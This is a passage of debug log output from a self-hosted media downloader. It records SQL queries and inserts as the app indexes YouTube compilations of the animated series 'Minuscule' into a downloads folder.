"filename" => "/downloads/Miniscule Season 2/2025-06-07 Woopsy Daysies! | Minuscule 🍃 120' Compilation/Woopsy Daysies! | Minuscule 🍃 120' Compilation [45oxcbI-NZ8].mp4", "id" => "45oxcbI-NZ8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=45oxcbI-NZ8", "playlist_index" => 53, "timestamp" => 1749319258, "title" => "Woopsy Daysies! | Minuscule 🍃 120' Compilation", "upload_date" => "20250607"} 22:10:44.620 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=616.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:44.621 [debug] QUERY OK source="sources" db=0.4ms idle=450.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:44.623 [debug] QUERY OK source="media_items" db=1.0ms idle=450.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-07 18:00:58Z], 5] 22:10:44.627 [debug] QUERY OK source="media_items" db=2.9ms idle=452.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Woopsy Daysies! | S02E47\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Sand Castle | S02E49\n00:10:42 | The Grocery Store Racketeer | S02E50\n00:14:17 | Snow Fly | S02E51\n00:17:42 | Ants On The Train | S02E52\n00:21:13 | Zzz In The Metro | S02E53\n00:24:49 | Go Blue Go! | S02E54\n00:28:30 | Black Slope For Gastropod Skiers | S02E55\n00:32:16 | Beehive On A Troll | S02E56\n00:35:46 | The Mosquito Of The Caribbean | S02E57\n00:39:32 | Turbo speed | S02E58\n00:42:56 | Snow Carrot | S02E59\n00:46:35 | Pollution | S02E60\n00:50:21 | Metamorphosis | S02E61\n00:53:51 | Ladybugland | S02E62\n00:57:19 | White As Snow | S02E63\n01:00:55 | Trapped | S02E64\n01:04:38 | Refrigerated | S02E65\n01:08:12 | Twelve Angry Snails | S02E66\n01:11:45 | It's a tie! | S02E67\n01:15:25 | Sleep Walker | S02E68\n01:18:50 | Labyrinth | S02E69\n01:22:35 | Top Tabasco | S02E70\n01:26:13 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #leaps #calculation #house #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Woopsy Daysies! | Minuscule 🍃 120' Compilation", "c4aa540a-3a2f-4df7-9a5c-46f8ad838688", "45oxcbI-NZ8", 5425, false, 5, "https://www.youtube.com/watch?v=45oxcbI-NZ8", 53, "/downloads/Miniscule Season 2/2025-06-07 Woopsy Daysies! | Minuscule 🍃 120' Compilation/Woopsy Daysies! | Minuscule 🍃 120' Compilation [45oxcbI-NZ8].mp4", false, false, false, [], 1, ~U[2025-06-07 18:00:58Z], ~U[2025-12-12 05:10:44Z], ~U[2025-12-12 05:10:44Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Woopsy Daysies! | S02E47\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Sand Castle | S02E49\n00:10:42 | The Grocery Store Racketeer | S02E50\n00:14:17 | Snow Fly | S02E51\n00:17:42 | Ants On The Train | S02E52\n00:21:13 | Zzz In The Metro | S02E53\n00:24:49 | Go Blue Go! | S02E54\n00:28:30 | Black Slope For Gastropod Skiers | S02E55\n00:32:16 | Beehive On A Troll | S02E56\n00:35:46 | The Mosquito Of The Caribbean | S02E57\n00:39:32 | Turbo speed | S02E58\n00:42:56 | Snow Carrot | S02E59\n00:46:35 | Pollution | S02E60\n00:50:21 | Metamorphosis | S02E61\n00:53:51 | Ladybugland | S02E62\n00:57:19 | White As Snow | S02E63\n01:00:55 | Trapped | S02E64\n01:04:38 | Refrigerated | S02E65\n01:08:12 | Twelve Angry Snails | S02E66\n01:11:45 | It's a tie! | S02E67\n01:15:25 | Sleep Walker | S02E68\n01:18:50 | Labyrinth | S02E69\n01:22:35 | Top Tabasco | S02E70\n01:26:13 | Umbrella And Coconut Trees | S02E71\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#grasshopper #leaps #calculation #house #summer #hat #fly #spider #Minuscule #nature #insects #ladybugs #animatedseries", "Woopsy Daysies! | Minuscule 🍃 120' Compilation", "45oxcbI-NZ8", 5425, false, 5, "https://www.youtube.com/watch?v=45oxcbI-NZ8", "/downloads/Miniscule Season 2/2025-06-07 Woopsy Daysies! | Minuscule 🍃 120' Compilation/Woopsy Daysies! | Minuscule 🍃 120' Compilation [45oxcbI-NZ8].mp4", false, ~U[2025-06-07 18:00:58Z]] 22:10:44.628 [debug] QUERY OK source="sources" db=0.4ms idle=456.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:44.628 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:44.629 [debug] QUERY OK source="media_items" db=0.5ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [91173] 22:10:44.629 [debug] Current batch of media processed. Will check again in 1000ms 22:10:45.631 [debug] Current batch of media processed. Will check again in 1000ms 22:10:46.632 [debug] Current batch of media processed. Will check again in 1000ms 22:10:47.633 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Ladybugland | S02E62\n00:10:43 | Refrigerated | S02E65\n00:14:17 | Spider from the Depths | S02E31\n00:17:52 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #summer #hat #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 1315, "filename" => "/downloads/Miniscule Season 2/2025-05-10 High voltage⚡️Minuscule 🍃 30' Compilation/High voltage⚡️Minuscule 🍃 30' Compilation [gwZ-ik4BqbY].mp4", "id" => "gwZ-ik4BqbY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gwZ-ik4BqbY", "playlist_index" => 54, "timestamp" => 1746900047, "title" => "High voltage⚡️Minuscule 🍃 30' Compilation", "upload_date" => "20250510"} 22:10:47.634 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1462.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:47.635 [debug] QUERY OK source="sources" db=0.4ms idle=1463.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:47.636 [debug] QUERY OK source="media_items" db=1.0ms idle=1464.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-10 18:00:47Z], 5] 22:10:47.669 [debug] QUERY OK source="media_items" db=32.0ms idle=1466.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Ladybugland | S02E62\n00:10:43 | Refrigerated | S02E65\n00:14:17 | Spider from the Depths | S02E31\n00:17:52 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #summer #hat #Minuscule #nature #insects #ladybugs #animatedseries", "High voltage⚡️Minuscule 🍃 30' Compilation", "206b7416-bef9-4834-9478-b3b09ec990b6", "gwZ-ik4BqbY", 1315, false, 5, "https://www.youtube.com/watch?v=gwZ-ik4BqbY", 54, "/downloads/Miniscule Season 2/2025-05-10 High voltage⚡️Minuscule 🍃 30' Compilation/High voltage⚡️Minuscule 🍃 30' Compilation [gwZ-ik4BqbY].mp4", false, false, false, [], 1, ~U[2025-05-10 18:00:47Z], ~U[2025-12-12 05:10:47Z], ~U[2025-12-12 05:10:47Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | High voltage | S02E30\n00:03:34 | Summer Hat | S02E48\n00:07:15 | Ladybugland | S02E62\n00:10:43 | Refrigerated | S02E65\n00:14:17 | Spider from the Depths | S02E31\n00:17:52 | Snow Fly | S02E51\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#electricity #spider #fly #danger #summer #hat #Minuscule #nature #insects #ladybugs #animatedseries", "High voltage⚡️Minuscule 🍃 30' Compilation", "gwZ-ik4BqbY", 1315, false, 5, "https://www.youtube.com/watch?v=gwZ-ik4BqbY", "/downloads/Miniscule Season 2/2025-05-10 High voltage⚡️Minuscule 🍃 30' Compilation/High voltage⚡️Minuscule 🍃 30' Compilation [gwZ-ik4BqbY].mp4", false, ~U[2025-05-10 18:00:47Z]] 22:10:47.670 [debug] QUERY OK source="sources" db=0.4ms idle=660.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:47.671 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=36.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:47.672 [debug] QUERY OK source="media_items" db=0.5ms idle=36.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [90116] 22:10:47.672 [debug] Current batch of media processed. Will check again in 1000ms 22:10:48.673 [debug] Current batch of media processed. Will check again in 1000ms 22:10:48.831 [info] {"source":"oban","duration":1430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:49.674 [debug] Current batch of media processed. Will check again in 1000ms 22:10:50.675 [debug] Current batch of media processed. Will check again in 1000ms 22:10:51.676 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pea In The Hand Is Worth... | S03E05\n00:01:32 | Sow The Wind And Reap The Storm | S03E11\n00:03:10 | The Doughnut | S03E16\n00:04:42 | Pea supper | S03E01\n00:06:11 | The Magic Fly | S03E15\n00:07:40 | The Sled and the Ant | S03E25\n00:09:09 | He Who Laughs Last, laughs Longest | S03E12\n00:10:38 | Chocolate Fly | S03E23\n00:12:07 | A Christmas Apple | S03E04\n00:13:37 | The Wicked Web | S03E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#pea #ant #fly #ladybird #sow #wind #grasshopper #ladybirds #Minuscule #nature #insects #ladybugs #animatedseries", "duration" => 925, "filename" => "/downloads/Miniscule Season 2/2025-05-06 A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation/A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation [7uKsDZC7uCc].mp4", "id" => "7uKsDZC7uCc", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7uKsDZC7uCc", "playlist_index" => 55, "timestamp" => 1746511259, "title" => "A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation", "upload_date" => "20250506"} 22:10:51.677 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1505.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:10:51.678 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=660.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:51.680 [debug] QUERY OK source="media_items" db=1.0ms queue=0.1ms idle=507.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-06 06:00:59Z], 5] 22:10:51.683 [debug] QUERY OK source="media_items" db=2.4ms idle=509.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pea In The Hand Is Worth... | S03E05\n00:01:32 | Sow The Wind And Reap The Storm | S03E11\n00:03:10 | The Doughnut | S03E16\n00:04:42 | Pea supper | S03E01\n00:06:11 | The Magic Fly | S03E15\n00:07:40 | The Sled and the Ant | S03E25\n00:09:09 | He Who Laughs Last, laughs Longest | S03E12\n00:10:38 | Chocolate Fly | S03E23\n00:12:07 | A Christmas Apple | S03E04\n00:13:37 | The Wicked Web | S03E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#pea #ant #fly #ladybird #sow #wind #grasshopper #ladybirds #Minuscule #nature #insects #ladybugs #animatedseries", "A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation", "9fabbcd6-18b2-4e0d-a66e-beba8682954e", "7uKsDZC7uCc", 925, false, 5, "https://www.youtube.com/watch?v=7uKsDZC7uCc", 55, "/downloads/Miniscule Season 2/2025-05-06 A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation/A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation [7uKsDZC7uCc].mp4", false, false, false, [], 1, ~U[2025-05-06 06:00:59Z], ~U[2025-12-12 05:10:51Z], ~U[2025-12-12 05:10:51Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Pea In The Hand Is Worth... | S03E05\n00:01:32 | Sow The Wind And Reap The Storm | S03E11\n00:03:10 | The Doughnut | S03E16\n00:04:42 | Pea supper | S03E01\n00:06:11 | The Magic Fly | S03E15\n00:07:40 | The Sled and the Ant | S03E25\n00:09:09 | He Who Laughs Last, laughs Longest | S03E12\n00:10:38 | Chocolate Fly | S03E23\n00:12:07 | A Christmas Apple | S03E04\n00:13:37 | The Wicked Web | S03E07\r\n \r\n🪲 Minuscule: The Animated Series | Season 2 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-69_M01yj2OHYtCaM9N3ypx\r\n\r\n© MMVI Futurikon - All rights reserved\r\n\r\n#pea #ant #fly #ladybird #sow #wind #grasshopper #ladybirds #Minuscule #nature #insects #ladybugs #animatedseries", "A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation", "7uKsDZC7uCc", 925, false, 5, "https://www.youtube.com/watch?v=7uKsDZC7uCc", "/downloads/Miniscule Season 2/2025-05-06 A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation/A Pea In The Hand Is Worth... | Minuscule 🍃 20' Compilation [7uKsDZC7uCc].mp4", false, ~U[2025-05-06 06:00:59Z]] 22:10:51.684 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=512.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:10:51.685 [debug] QUERY OK source="media_profiles" db=0.3ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:51.686 [debug] QUERY OK source="media_items" db=0.5ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", 